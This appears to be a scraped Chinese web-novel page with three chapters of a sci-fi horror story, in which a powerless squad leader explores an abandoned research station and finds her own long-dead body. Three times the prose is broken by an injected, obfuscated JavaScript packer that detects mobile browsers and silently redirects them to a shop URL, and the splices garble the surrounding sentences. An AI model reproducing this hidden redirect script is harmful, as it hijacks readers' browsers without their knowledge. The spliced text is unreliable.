《发现自己的尸体以后[母系]》 1. 地质研究所(一) “这么着急去哪儿啊?” “李琢光又被下战贴了,我去抢个好位置围观。” “又有新人不自量力啦?走走走,带我一个!” 模拟训练场内。 台上站着两个女人,一个年轻苗条,一个高大强壮。 其实李琢光并不瘦小,她身上肌肉线条很结实,只是在那个将近两米、肱二头肌比她头还大的女人面前,她就像一个没成年的小鸡仔。 她们互相鞠躬致意,在一声铃响后,双方同时动了。 女人的异能是火焰,她在铃响的一刹那就浑身燃起火焰,双腿一蹬,飞速朝李琢光靠近。 异能者在变异后不光获得异能,身体基础素质也会获得提升,等级越高,提升越多。 女人不消分秒就迅速拉进与李琢光之间的距离,随后毫不犹豫地挥出一拳。 李琢光算准轨迹闪身、偏头,轻巧躲过,女人一拳惯性落地,直接在金属地面上砸出一个半米深的圆坑。 “不是吧,李琢光怎么能躲得过去?她真没有异能?” “王姐可是我们这届的第一!就李琢光那没变异过的小木板身体,不用异能也能直接干碎她。” 观众席里响起为女人鼓劲的加油浪潮,她们周围的老人看热闹不嫌事大,也跟着一起喊:“王姐加油!干碎李琢光!” 女人一击不成迅速就势翻滚,调整好姿势冲着李琢光接连挥出几拳。 她的速度极快,几近残影,拳头上裹着的火焰只是接近便是一股热流,几乎要烫伤李琢光的眼睛。 李琢光面不改色,双眸平静地注视着女人,躲避攻击的动作丝毫不显狼狈,即使是七级强化的身体,也只烧掉她几根头发。 “她的表情也太让人火大了!!” 新生面对李琢光游刃有余的神色被气得咬牙切齿,老人侧过身去捂着嘴憋笑。 攻击接连轮空,对方还是一副未尽全力的表现,女人一时急得眼睛都红了,身周火焰骤然暴涨,短发翻飞,怒吼着砸下重如泰山的一拳。 “对!就这样!狠狠揍她!!” 听着新生撕心裂肺的大喊,憋笑的老人憋得脸都快青了。 李琢光不退反进,竟直直对着女人沙包大的拳头冲过去,却在距离仅有毫米时利用拳风丝滑转向,拱起手肘,借着女人冲来的力,砰地一声撞入她的下颌。 接着,她顺着动势往边上就地一滚,躲开女人颓势下坠的身体。 计时器挂着显眼的一分十六秒,观众席上的新人鸦雀无声,消化着情绪还没调动完全就戛然而止的比赛。 屋漏偏逢连夜雨,身旁还响起老人的幽幽赞扬:“不愧是第一,还坚持了一分十六秒,李琢光最快记录是三十六秒。” 新人:“……” 李琢光真的不是什么科技检测不出的十一级异种吗? 台上,李琢光伸手拉起女人,另只手替女人抬着汩汩流血的下巴,露出一个和煦鼓励的笑容。 “我等着你打败我的那一天。” 她转身下了台,接过队友递来的毛巾,脸上淡定的神色一换,龇牙咧嘴地揉着手肘:“烫死我了……” * 异种,是对经受「夜灯辐射」后变异的生物统称。 一半保留理智、获得异能,一半则变成毫无理智的怪物。 前者只要佩戴上稳定环后,辐射浓度能限制在五十以下,也被允许像正常人一样生活工作。 而李琢光是全星际唯一没有异能的普通人。 她曾经被认为是免疫辐射而受到高度保护,但最后证明,李琢光的血液中无法提取相应基因序列,她也无法分泌控制异能的激素。 确实是无异能。 异种根据辐射浓度、激素浓度最大值等多种因素分为十级,相对应的,晴山外勤也被分为十级。 尽管李琢光本人有过单独战胜十级异种的经历,但她的队伍评级在八级卡了二十年。 晴山淸剿队有规定,所有人都可以选择与自己异种等级相同的队伍,挑战队长,战胜队长,就能代替TA的位置。 唯一没有异能的李琢光就成为挑战席上的常驻嘉宾。 异种无法接受无异能、身体无变异的普通人凌驾于她们之上,也无法相信李琢光光靠身体训练与技巧就能压着她们打。 毕竟在异种眼中,二级杀死一级都不必费什么力气。 不过,这样被当做靶子的日子很快就会结束了。 因为李琢光攒够钱,准备辞职去环游星际。 眼下,就是她要出的最后一次任务。 标准时间凌晨三点,李琢光与队员们走出研究所的大门,将扛着的实验仪器和零件放进运输车里后纷纷上车。 凤凰座θ-3709-1并不宜居,星球上一片荒芜,一眼就能望到头。 夜里的风很冷,深红色的土地如钢铁般坚硬,头顶夜幕中缀着一大一小两颗浅红色行星,像是一双温柔的眼睛。 五人都没有受伤,只因搬动仪器而让防护服沾上灰。 一级任务没有任何危险,只需要搬运废弃仪器,所以一般都是由人数多,且大部分等级较低的普通外勤队承接。 顶多再分配一支低等级淸剿队护卫。 某位不知名的上层这次指明李琢光这支七级小队,大概也是想让她在这份工作经历上留下一个轻松的结尾。 李琢光正打算启动车辆返回飞船,车上的广播里突然响起了一个声音。 “李队,检测到研究所内有不明物体。” 是她们坐镇飞船的向导芮礼。 李琢光通过了影像投放申请,车上的悬浮终端自动展开,一面虚拟屏凭空出现。 五个脑袋凑在一起,看到只有简单线条建模的扫描结果中,有一个头顶晴山标志和三个问号,正在四楼走廊中急速奔跑的橙色人形。 橙色代表这是一个有生命迹象的已知生物,问号代表不在数据库识别范围,而晴山标志则代表生物体内植入了晴山集团的身份识别芯片。 晴山集团是星际中最庞大的碳基势力之一,凡晴山所属星球居民,都被她们植入了身份识别芯片。 芮礼又说:“生物的移动速度与一百二十码的私家车一样,初步推测是速度型异种。但是无法检测危险等级。” 紧挨着李琢光的男人身下盘踞的章鱼触手不安地卷动,他跃跃欲试:“我可以去把它抓过来。” 他看着李琢光,湿漉漉的眸光如同像获得鼓励和赞扬的小狗。 “我能带你出来是写过保证书的。”李琢光毫不留情地拒绝了他,“保证你不使用异能,你想要我辞职前还被处分一次吗?” “不想……”柳一丧气地垂下头,身体往后靠,埋入巨大的触手中,湿软的触手有一搭没一搭地卷起李琢光的头发玩。 其实他更不想李琢光辞职,辞职以后要想再见面就难上加难。 他想不通,一直要工作不要命的人,怎么会突然想要辞职呢? 李琢光对着话筒说:“芮礼,用异种。” 对面很快答道:“好的。” 芮礼的异种能力是思维终端,她的精神力自成一个独立的终端服务器。 她的动作很迅速,四人看到研究所上空的无人机被召回,十分钟左右就飞了回来,同步传输了影像。 人影还在跑,绕着四楼一圈一圈地跑,屏幕上显出橙色的残影,它仿佛不知疲倦,也不知目的为何。 芮礼做了些改良,新的影像甚至可以模拟出模糊的彩色图像。 只是哪怕是更大的数据库也没匹配出眼前人影究竟是何物,顶多能从更详细的建模中看出是个扎着高马尾的女性。 李琢光切换了人影的追踪视角,她的手指刚刚离开屏幕,那人影在同时刹住了脚步,又因过快的速度而险些被惯性摔出去。 它维持着警戒的姿态,抬着头,扭动着脖子,似乎在天花板上寻找着什么。 “四楼这里好像只是普通的吊顶。”最为高大的女性回忆了片刻。 昙起云跃跃欲试:“我把四楼炸了,不就能看到它了吗?” 副驾驶上的男性神情凝重:“留有理智的话,就难办了。” 如果它不是在找东西,那么它这样…… “它好像知道有人在看它。”李琢光盯着人影,冷不丁冒出这么一句。 昙起云瞪大眼睛嚷嚷:“李队你别吓我!” 只见那人影缓缓直起身,昙起云立刻绷直身体闭上嘴。 它放松了手臂,却仍然抬着头,仿佛天花板上有什么特别吸引人的东西。 如果它有眼睛……那么这个角度,它的视线应该正对着无人机。 李琢光觉得时间过得很慢,她的心跳不断随呼吸加速,手心渗出冷汗,这股没来由的紧张快要淹没了她。 队员们都凑过去研究天花板,只有李琢光一个人盯着人影。 而她的直觉也应验了。 人影动了。 它侧过身子,僵硬地将头转过来一点,再转过来一点,直到那张因数据缺失而空白的脸正对着追踪视角。 它明明没有眼睛,可李琢光却无端觉得它与屏幕外的她对上了视线。 在她意识到这一点以后,她看到它的脸颊肌肉堆积起来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14026442|148774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 它露出了一个笑容。 * 最终李琢光决定只带着观千剑进入。 观千剑是个强壮高大的女人,她的异种是金属化,可攻可守。 既可以躯体金属化,也可以将躯体外的元素金属化。 李琢光的手腕上佩戴一把腕带枪,分子仪列表里所有武器能量都满格,防护服上所有能装配武器的地方都装上了武器。 准备妥当后,二人便朝着研究所四楼进发。 她们走得不算快,耳机里只能听到芮礼在中控室操作器械,头顶的探照灯照亮了积满灰尘的透明台阶,那儿已踩上了许多凌乱的脚印。 二人往上走,台阶的咯吱声混着杂乱的脚步声响起,李琢光蓦地停了下来。 “怎么了?” 观千剑立刻转身,与李琢光背靠背,拳背金属化,摆出防御姿态。 李琢光试探着问:“你有听到第三个脚步声吗?” 观千剑摇头:“没有。” 芮礼也说:“声音、影像与辐射数据一切正常。” 顿了顿,她又说:“李队,你的理智值也没有变化。” 只有她能听见,还不是理智下降的幻觉…… 李琢光的心沉了下去。 二人并肩,小心又迅速地跑上四楼。 周围的脚步声不减反增,仿佛这研究所从未被废弃,研究员们仍在走廊中穿梭,交换着研究材料与实验结果。 研究所所有门锁验证都在先前被她们破坏了,每扇门都大敞着,不能带走的固定设备被砸得稀碎。 黑暗中,常亮的警示灯在走廊里投射出一团又一团的红色。 “你有听到什么声音吗?”一片寂静中,李琢光冷不丁出声。 观千剑一愣,侧耳听了片刻:“没有。” 即使两个人都已经停下脚步,但李琢光依旧能听到周围纷乱的脚步声,而耳机的通讯频道却不知何时什么声音都听不到了。 “芮礼?昙起云?陈戊?” 她将队员的名字一一叫过去,可是唯一能听见的声音只有身边逐渐吵闹的脚步声。 她转身,要拉着观千剑撤退。 “我们先——” 话语戛然而止,身边的女人不知何时已不见了踪影。 空荡的走廊里,只剩她一个人。 空间异种? 李琢光很快调出终端,与她预期的不一样,终端显示有信号。 她试探着向四名队员分别发送了1以及她姓名中的单个汉字。 随后,李琢光小跑回楼梯处,探头出去,灯光穿过透明的台阶,直直照到一楼。 没有人。 没有变化。 她又朝研究所大门看去,玻璃门大敞着,本该等在门口的运输车不见了。 走廊中的红光开始缓慢闪烁,耳边的脚步声终于彻底安静下来,整座星球陷入死一般的沉寂。 不知道这只异种的覆盖范围有多大,如果是无法监测的等级,那么至少能覆盖整个星球。 李琢光将身上所有监测设备的灵敏度都调到最高值,设置了十几条发给不同联系人的定时消息。 做完这些的同时,生命探测仪亮起了绿灯。 李琢光眼疾手快地关闭了探照灯,闪身背贴墙壁,耳机清晰地收到远处转角后衣料摩擦的声音。 她深吸一口气,捂住探测仪的绿光,另一只手激活了腕带枪,一步、一步小心翼翼地往那处转角挪去。 黑暗与寂静放大了李琢光的多疑与无异能带来的不安全感,她忍不住经常回头确认背后情况。 在她意识到自己身侧站着一个生物,而她没有听到任何接近的声音时,对未知的恐惧使她全身僵硬,冷汗瞬间从她的额角滑落。 李琢光攥紧拳头,尽管她知道这是徒劳,但仍拱起手腕,将腕带枪对准背后。 大约是她太久没有动作,身侧的生物开始对她产生好奇。 一根柔软的圆柱伸长、弯曲,顶着与防护服的头盔类似形状的椭圆体绕到了她眼前。 李琢光在黑暗中模糊地辨认出那东西的形状与颜色,只是眼前这个生物似乎并不明白头颅与头盔的区别,因此整个椭圆体内部糊作一团。 ——它与扫描影像中长得一样,扁平的“面部”没有五官。 李琢光终于意识到,那建模上缺失的面部并不是因为缺少匹配数据,而是因为它本来就没有五官。 片刻后,椭圆体扭动脖颈,细长的脖子像拧干毛巾那样拧作一团,最后带动脑袋,露出后脑勺。 它的头是横着的,却出现一张正着的、与李琢光一模一样的脸。 2. 地质研究所(二) 观千剑只是一扭头的功夫,身边人就不见了踪影,她的脑袋嗡得一声空白,嘴巴张到一半,耳麦中传来冷静而严厉的一声—— “别叫。” 芮礼又软下语气安抚道:“扫描结果显示,李队仍然在你身边,可能是空间异种。 “现在,打开终端。” 芮礼在专注收集消息破解李琢光的乱码消息,观千剑根据指示准备返回车上,昙起云和陈戊也在使用各种方法,试图定位李琢光,将她救出来。 无人注意到车后座低着头的男人将窗户悄悄开了一条缝,浑身慢慢地融化成一滩薄纸片厚的透明流体,悄无声息地一路攀着车壁而上,顺着那指甲盖厚的缝隙溜了出去。 等观千剑抵达车子里打开后座门,才发现柳一不见了。 她脸色铁青地给了昙起云后脑勺一巴掌:“真行啊,这么大个男人能在你眼皮子底下不见。” * 李琢光不知道与怪物僵持了多久,见那只怪物似乎并没有攻击的欲望,她试探性地开口:“你好。” 只见那张与她一样的脸庞上的嘴也依样画葫芦地张开,做出了“你好”的口型。 它顿了顿,似乎在疑惑为什么自己不能发出声音,又重复学习了一遍口型,仍然没有声音。 李琢光福至心灵,扯起嘴角,同时又抬起半边眉毛。 如她所想,那张脸上果然复现出了这怪异的表情。 不会说话,会模仿动作,仿制出的脸上那双眼睛也黯淡无光。 即使有瞳孔、虹膜与眼白的区分,但李琢光清楚,它并未在用这双眼睛视物。 这种照慢一拍镜子的感觉新奇且荒诞,她慢慢直起身,后退小半步。 借着身体遮掩,手伸向腰间信号发射器,按下一次绿色头像和两次圆圈。 硅基生命,可交流,无攻击欲望。 通常来说,想要打破空间异种创造的壁垒有三种方法。 异种主动收回空间,杀死异种,外部确定受困人员坐标后救出受困人员。 这个异种没有把终端信号屏蔽,那这些信号应当也发得出去。 大约是看李琢光太久没有动作,怪物的脖子缩了回去,那张与李琢光一样的脸横在它的肩膀上。 它抽动了一下脖子,转过身往前走。 李琢光在原地愣了几秒才反应过来,它刚刚……是在模仿她让观千剑跟上时的动作? 这么想着,李琢光小步跟上了它。 果然怪物没再有别的举动,它一路深入实验室,李琢光在心里默默记着路线,但很快她就发现这是徒劳。 如果按照她记忆中的地图来看,她们现在早就走到研究所外面去了。 像是没有尽头,房间里还套着房间,走廊外连着走廊。 怪物一边走,肢体一边融化,像是放在烈日下的冰淇淋,拖拖踏踏的在地上留下一道泛着荧光的痕迹。 李琢光例行公事地用护目镜上的检测仪检测这些荧光液体的成分,尽管她并不抱有希望。 「水、吲哚醌、牛磺酸、蛋白质……」 「84.77%可能为章鱼墨汁,1.35%可能为靛红染料与牛黄混合物……」 难道这怪物是碳基生命,她刚刚发送的信号发错了? 不对,目前记录在册的碳基生命没有能模仿他人外貌的。 还没等李琢光思考出个所以然,那怪物就融化了个彻底,只留下一滩液体。 她环顾四周,荧光液体延伸出的来时路被一道墙壁阻隔。李琢光上手推了推,手下是结实的墙壁。 四周的实验设备都是完善的、崭新的,甚至连浮尘都没有,表示正常运作的绿灯常亮,就好像前不久刚有人使用过。 实验室的大门紧闭,想要开门只能拿到密码或是权限卡。 那个怪物并没有攻击意图,带她来这里是希望她看到什么吗? 为什么她和观千剑之间,要选择她? 李琢光打开终端,芮礼还是没有任何回复。 她又发送了自己的坐标信息后,便关闭了终端,打开头盔上的灯,开始搜寻实验室内有用的线索。 器材整齐的归拢在盒子里,烧瓶洗得干干净净。 柜子的玻璃也擦得一尘不染,李琢光正想试着打开柜子,却在自己的倒影边看到一抹突兀的白影。 关灯转身贴近柜子下蹲一气呵成,李琢光屏住呼吸降低存在感。 耳机里一片寂静,护目镜的观测记录中也没有发现第二个「东西」。 由于李琢光是没有异能的普通人,所以她身上所有的设备都植入了更多相应异能者的基因数据。 虽然比异能者本人差了许多,但总比李琢光没有变异过的原身状态要好得多。 平时的护目镜只是一块普通玻璃,耳机也不隔音,只有在发生异常时才会自动弹出。 在刚进入时,只有她听到杂乱的脚步声。 如今,所有数据也都显示这里只有她一个人。 是她疯了吧? 如果机器都无法检测,那只能证明那是不存在的东西。 毕竟现在的生物电都可以检测到灵魂的存在。 她反复打开个人数据查看理智值波动历史,只有在看到硅基生命时往下掉了两点。 是她疯了吧…… 现在看到的数据是真实的吗? 李琢光扶着背后的柜子缓缓起身,目光巡视一周后松了口气。 还好,没看到白影。 那她刚刚应该只是纯粹看错—— 没有看错。 李琢光刚转过去一半身体,便又在玻璃上看到那抹白影。 她呼吸一滞,不敢再动,定睛看了一会儿,确信那不是后面实验台的重影,而确实是一个穿着白衣服的人。 她试着直接看那处地方或是用护目镜扫描,结果是没有。 于是李琢光挑了个不会挡住它的角度,眯起眼睛,努力想看清它衣服上的花纹。 它好像是穿着白大褂,胸口挂着一张身份牌,头发盘在脑后。 随着李琢光注视愈久,它脸上的嘴巴、鼻子、眼睛逐一清晰起来,就像是游戏里没有加载完全的建模,在卡顿的网格细分不足后,露出它全部的真面目。 这是一个年轻的类人女性,它手上慢悠悠地搅拌着烧杯,透过玻璃与李琢光对视上后,蹙起眉。 它身边似乎别的同类,它偏过头,没有张嘴,但频频点头,应该是与其她东西交流了什么。 李琢光喘了口气,她的心跳直飙一百八,但她害怕自己若是再次躲避,就再也看不到会发生什么了。 浑身上下的肌肉都紧绷着,一只脚往外撇,随时准备着有什么不对劲就立刻撤退。 背后不靠着什么结实的东西实在太没有安全感了。 倒影中的它将手中烧杯交给旁边看不到的东西手里,双手拢到胸前交叉,做了个奇怪的手势。 ——大拇指抵着弯曲的无名指,类似于一个「三」。 像是祈祷般短暂停顿以后,它放下手,往李琢光站的柜子这里走来。 但它走到一半停住了,眉头拧成一团,占据半张脸的嘴巴一张一合,似乎在说晴山官话,可李琢光重复它的口型后发现连不成一句话。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14026443|148774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >它双手在空中挥舞,间或夹杂着僵硬的高抬腿和摆动上半身。 李琢光眯起眼睛。 这是在干什么?和别人吵架? 好像……是在学习人类的动作,表演给她看? 是了,学习。 怪不得那些口型她都无法准确翻译。 就像那个领她进来的硅基生命那样,它在学习人类说话时嘴巴的动作,但它们本身的交流系统并非「嘴巴」。 所以它们不知道嘴巴发声的原理,也就无法流畅模仿,而是像现在这样,每说完一个字就闭上嘴,导致同一个字的口型变化都是断节的。 「这个时呀一根吧一哈无无意义。」 这个实验根本毫无意义。 「组一后素哟无生物嘟无忽诶嗯诶巨诶。」 最后所有生物都会……灭绝? 啊? 这个研究所的实验内容是这个卫星和临近两个行星的地质研究,什么地质研究实验会让所有生物灭绝? 李琢光回忆一遍来之前拿到的资料。 凤凰座θ-3709-1是旁边两颗碳基生命共轨行星的共用卫星,自有条件在卫星上建立研究所以来,一直都是地质研究所。 除非是在此之前的事情。 带走仪器时,任何发现的仪器都需要登记在册,李琢光非常确信,所有仪器中没有用于「制造」的。 要么是岩石破碎机一类作用是「粉碎」或「提取」,要么是显微镜、X射线衍射仪一类作用是「分析成分」的。 有可能的只有震源台,但是在能通过引爆行星制造黑洞带的时代,以地震波为基底制造出来的武器根本不够看。 更别提让全星际生物灭绝,就是让一个星球的生物灭绝都够呛。 这只类人生物只学了这两句话,来回说了好几遍。 重复着它的口型,李琢光觉得自己都快变成伪人了。 说完第六遍以后,它似乎就觉得李琢光完全理解它的意思,放下手,接着做之后的动作。 它在前后的实验桌上摸索,调调显微镜,拨弄几番X射线衍射仪,然后夸张地往后倒退几步,双手捂住张开的嘴巴。 接着,它俯身在桌上做出翻找纸堆的动作。 倒影中的它身后忽然直立起另一个类人女性的身影,往后退了几步与前方的类人分开,像是剥离开□□的灵魂。 那位类人先是迷茫地往四周瞧了瞧,最后定在前方类人的背影上。 好一会儿,它小心探过身子,抄起桌上一根手臂粗的金属杆,冲着前方类人的后脑勺高高举起,目光却抬起来,紧紧盯着玻璃上李琢光的影子。 也许视线接触,也许因为即将得逞。 它笑了,就像那个没有五官的建模上堆积起来的笑,嘴角向上弯起,眉毛高高挑着,一双眼睛却没有任何变化。 这也是当时发生的事件吗? 有什么东西贴上了李琢光的背脊,一股凉意顺着血管蔓延到四肢百骸,在她的掌心突突地痛。 沉闷而沙哑的气声好像直接在她的大脑里响起,明明戴着头盔,耳朵却莫名感受到一阵说话时的气流涌动。 “回头,阻止它。” 与此同时,在实验室的角落里又响起一声极为细微、是被李琢光的耳机捕捉到的碰撞闷响。 罢工了很久的护目镜终于重新工作,在她眼前显示出一行字迹。 「检测到该空间内有一名零级碳基生命体存在,请小心使用威力等级超过一的热武器。」 零级碳基生命体。 李琢光眉心一跳。 那不就是她自己? 3. 地质研究所(三) 李琢光的身体下意识地动了起来。 无论是领她进来的硅基生命还是在倒影中表演的硅基生命,这些表达出了无恶意的生物是不会说话的。 在这个生物不会说话的地界突然出现声音,用的还是晴山的语言,不由得她不怀疑。 电光石火间,她想到一种可能,一个她只在某一本久远的、早已尘封的案例中见过的可能—— 如果眼前这个「柜子」受到辐射后变异了呢? 在那个案例里,由于小队直接将可疑物品全都炸了个干净,所以在最后总结的时候只留下一句语焉不详的「该物品可能变异」。 后来,这个小队出了点意外,人死光了,那些档案也因填得不符规定被彻底封存。 李琢光是机缘巧合下翻过一遍,除了她以外,读过这句话、知道死物也可能变异的生物一只手数得过来。 她本来根本没当回事,直到现在,这个可能突然进入了她的脑海里。 所以机器无法检测出这里有其她生物,所以它们不会说话,而她的理智也没有减少。 因为严格来说变异的柜子属于死物,她无法在现实中看到那两个类人女性,也是因为她们确实不存在。 所有的表演、模仿,都是柜子把自己的玻璃当成投影仪展示出来的。 那么那个声音,大概率是零级碳基生命发出来的。 不管声音说得是对是错,在这里有第二人出现的情况下,她不能再呆立在原地了。 她手臂往后撑着实验台轻盈地跳起,来到类人那一行列,目光始终不离开柜子上的玻璃,估算着那类人手臂的轨迹,伸出手。 哐当一声,她手心感受到一股砸下来的力气,却没有握住任何东西,倒影中的棍子确实被她截停了。 弯着腰的类人被声音吓一跳,往旁边退了两步,震惊地望向身后的类人。 它捂着嘴,另一只手狠狠推了一把那类人,然后转身——看口型应当是一边尖叫一边逃走了。 类人稳住自己晃悠的身影,仿佛淬了毒的阴毒视线缠上李琢光。 它重新拿稳金属棍,冲着李琢光的脑袋挥下来。 李琢光矮下身子躲过这一挥,弯起手肘往上一顶,正好打在类人的下巴上。 类人吃痛后退,随手抓起桌上盛着不明液体的烧杯,直接往空中一甩。 李琢光似乎闻到类似于浓硫酸的臭味,她抄起桌上的不锈钢盘扔到空中。 在盘子抵挡住看不见的浓硫酸被融化得滋滋作响的瞬间,她从翻到后排的实验桌上,双脚在桌上一蹬就轻松跳到类人身体另一侧。 她的防护服上沾上了一点浓硫酸,很快顺着纤维啃下一半深度,李琢光并不置于一点分心。 计算着距离,往后一抓,精准抓住类人的手腕,根据倒影中的反应逐渐收紧。 类人扭着身体抬起一条腿往李琢光踹来,她轻轻一闪就躲了过去。 手上用力将类人的手反扣到腰后,另一只手按着它的脖子,膝盖压着它的背脊,将它结结实实压在桌子上,动弹不得。 伴随着当啷与嘶嘶声,被浓硫酸腐蚀得只剩碎片的盘子与剩余的浓硫酸一起掉到地上,实验室里又重归寂静。 她的膝盖底下没有实感,所以她只能依靠玻璃上的倒影推断自己应该用多少力。 李琢光动了动手腕,她携带的异种羁押带被激活,从腰间弹出一条白色的束缚带,自动缠上了她手下的类人。 类人的挣扎在羁押带下像小孩打闹,很快就被捆了个结结实实,但羁押带仍在继续收紧,等到彻底团成一团后,羁押带竟与倒影中类人的身影一起消失了。 片刻后,羁押带出现在那个柜子上,还绑了一个死结。 李琢光这才跳下实验桌,开始寻找那位零级碳基生命。 护目镜与耳机中已无法检测到类似的生命痕迹,可是实验室的门也未曾开启过…… 难道这里还有暗门或是暗道? 李琢光直接用枪械破坏了上锁的柜子,不过里面并没有藏着谁,两边的柜子空荡,只有中央的柜子里整整齐齐地码着文件。 但文件里也是一片空白,其中夹着的照片也是一片空白。 没有、没有、没有。 李琢光翻遍了整个实验室,甚至用武器攻击了实验室的大门和密码锁。 门没有开,所有类型的子弹都无法在大门上留下痕迹。 没有任何实验材料残留,也没有任何文字、图片或是芯片记载。 她打开自己的终端,仍然没有任何回复。 李琢光的脑子里不断地出现一些场面—— 芮礼启动飞船,其她三个队员一遍又一遍地给她发消息,柳一发狂把整间研究所都砸了,但无人得到回应。 回到晴山中央星后,她们递上了李琢光的失踪报告,过了三个月,无可奈何地改成死亡报告。 李琢光喘了口气,感到有滴热汗从额头滑落下来,如果她此时照一下镜子,就会发现自己连唇色都苍白。 这不对劲,她无法控制自己不去想那些场面。 她打开头盔中的精神攻击防护,但没有用。 她查看自己的理智值,还是98没有变化。 这到底是什么? 如果把所有异常都归纳到变异柜子上,是否会有些鲁莽? 她站起身,走到柜子前站定,玻璃上的倒影这次连她自己都没有。 李琢光对着柜子敲敲打打,想打开底下没有被羁押带缠上的柜子。 柜子内部有着奇怪的吸力,像是因气压差而无法打开。 她从大腿绑带处取下电磁枪,对准锁孔。 一秒、两秒…… “咔哒——” 锁开了。 果然这个柜子是拥有生命了,害怕她真的用枪破坏它。 打开柜门,里面是一条低矮的管道,李琢光头盔上的灯直直照射到尽头,她放大护目镜上的影像。 管道尽头是排风扇似的盖子,看样子是连通一个房间。 如果碳基生命在那边,那这不算一个密闭空间。 可这边她已经快翻了个底朝天了,除了她以外,没有第二个生物。 这个零级碳基生物真是她?可检测逻辑都是除了自己以外的生物啊。 怀揣着满腹疑问,李琢光爬进了管道里。 她没别的地方能去了,就算进入是死路一条,也得搏一搏。 总比在原地等死好。 “咚——咚——咚——” 爬到一半时,墙壁另一端忽然传来用钝器砸击的声响,对方用的力气相当大,声音听着很远,但李琢光在这里还能感受到震动。 她停在原地判断距离,在心里默数三个数后,猛地朝前扑去。 在她身体彻底离开那处的同一瞬间,管道顶端嗤嗤地被几根金属圆锥破开几个大洞,那金属圆锥大半都没入地下。 “咚——咚——咚——” 又是一阵有节奏的闷响,还夹杂着金属摩擦的刺啦声,好像有什么东西在她的头顶巡视。 她屏住呼吸,听到那声音靠近破开的小洞,阴影遮蔽住光线,一只外突的澄黄色瞳孔缓缓出现在一个洞中。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14026444|148774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 随后,第二只、第三只瞳孔也相继在其她的洞里出现。 瞳孔投射下一条细而尖锐的光束,阴冷的视线在管道中无规律地乱晃,但每次即将碰触到李琢光的时候,就蓦地收回去。 或许是觉得目标不在管道里,那怪物慢吞吞地收回了眼睛。 李琢光缓慢地恢复呼吸,她抬起手,压下手腕,指腹搭上腕带枪的按钮。 安静。 一片死寂。 周围安静得李琢光能听清自己的心跳声,就连呼吸撞在头盔上的声音都显得有些吵闹。 李琢光再次屏住呼吸,双手平稳地举在半空中,耳朵里只能听到心跳声。 十秒、二十秒、三十秒…… 那怪物是走了吗? “滴答、滴答、滴答……” 不知从何处传来的水滴声打破了静谧,一开始是缓慢的、几乎与李琢光规律的心跳同频,但很快,那水滴声的节奏就快起来,连带着李琢光的心跳也无法控制地加速。 她忽然闻到一股化学试剂刺鼻的臭味。 下一秒,伴随着砰的一声巨响,三只眼睛再次砸到洞中,李琢光的手完全没受心跳的影响,极稳地边调整弹道边连按三次腕带枪的按钮。 每一枪都精准地射中怪物的眼睛。 怪物凸出的眼睛瞬间炸开,纯白色的血液飞溅,怪物痛苦的呻/吟在光滑的墙壁间碰撞回响,它的身体随之倒下,盖住洞口。 疼痛让它止不住地蜷曲颤抖,李琢光乘胜追击,从分子仪中构建出一把激光枪,对准洞口怪物的皮肤就扣下扳机。 李琢光半躺在管道内,肩膀抵着后坐力,莹白的激光照在李琢光的眼睛里,照亮她冷静而眼神坚毅的脸庞。 怪物吃痛又气急,开始毫无章法地将细长的手伸入洞中企图抓住李琢光,那些手如同用橡皮泥捏出的人类手臂,在管道内乱捣,被李琢光一一用刀砍断撕下。 在撕掉它五只手臂以后,怪物怒吼一声,终于放弃李琢光,拖着残缺的身体跑远。 李琢光喘了两口气,爬到尽头,手套上覆盖起一层坚硬的金属,用削弱几十倍的金属化和蛮力在盖子上掰开一个洞,勉强能让她钻过去。 她低着头踉踉跄跄地从小洞里挤出去,一抬头,正撞上一张紧闭着双眼的脸。 李琢光身体下意识地躲,被旁边东西绊了一跤差点摔到地上,她定睛一看,又是一具了无生息的尸体。 她直起身,这才发现房间里左一具右一具全是尸体,看着杂乱,却隐隐冲着中心座上低着头的类人女性。 「检测到该空间内共有四十七名无生命迹象人类存在。」 李琢光缓步走到中心座前,蹲下身,伸手抬起女性低垂的头颅。 那名女性梳着高马尾,发绳上挂着两颗黄色的星星。 她睁着眼,面色青白,瞳孔扩散,眸中暗淡,唯有李琢光头灯照射下的反光。 她看到了一张和自己一模一样的脸。 「检测到该尸体内植有晴山集团芯片,人脸识别信息与芯片信息正在加载……」 「人脸识别信息与芯片信息符合。」 「该人类姓名:李琢光。」 「估计已死亡时长:六十年以上。」 她呼吸一滞。 那根发绳……是芮礼送给她的十岁生日礼物。 很久之前弄丢了,她找了很久,翻遍了所有的包、口袋、抽屉,甚至把房间都翻了个底朝天,但就是在某一天莫名其妙地消失,之后再也没有找到过。 现在,它又出现在了这具尸体的头上。 4. 地质研究所(四) 